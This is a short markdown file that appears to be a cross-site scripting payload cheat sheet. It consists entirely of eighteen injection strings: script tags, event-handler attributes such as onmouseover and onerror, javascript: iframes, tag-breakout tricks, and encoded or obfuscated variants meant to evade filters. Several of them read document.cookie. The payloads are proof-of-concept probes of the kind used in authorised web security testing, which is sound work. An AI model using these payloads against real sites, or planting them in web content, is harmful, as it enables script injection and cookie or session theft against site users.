xss.md

• '';!--"<XSS>=&{()}``\"
• <script>alert(XSS);</script>
• "><script>alert(XSS);</script>
• <ScrIpt>alert(1);</SCript>
• <a onmouseover="alert(document.cookie)">XSS</a>
• <a onmouseover=alert(document.cookie)>XSS</a>
• <<script>alert("XSS");//<</script>
• <iframe src="javascript:alert('XSS');"></iframe>
• <iframe src=# onmouseover="alert(document.cookie)"></iframe>
• <img src="http://www.example.com/>"onerror="alert(document.cookie)//<">
• <![CDATA["><script>alert("XSS")</script><!--]]>
• ";alert(document.domain)//
• <SELECT NAME="" onmouseover=alert(XSS)></select>
• <style><img src='</style><img src=x onerror=alert("XSS")//'>
• <svg><style><img/src=x onerror=alert(XSS)// </b>
• "><svg><script>alert&#40/1/.source&#41</script>
• <div style="left:expression(alert('XSS'))">
• <div style="left:expＲessioＮ(alert('XSS'))">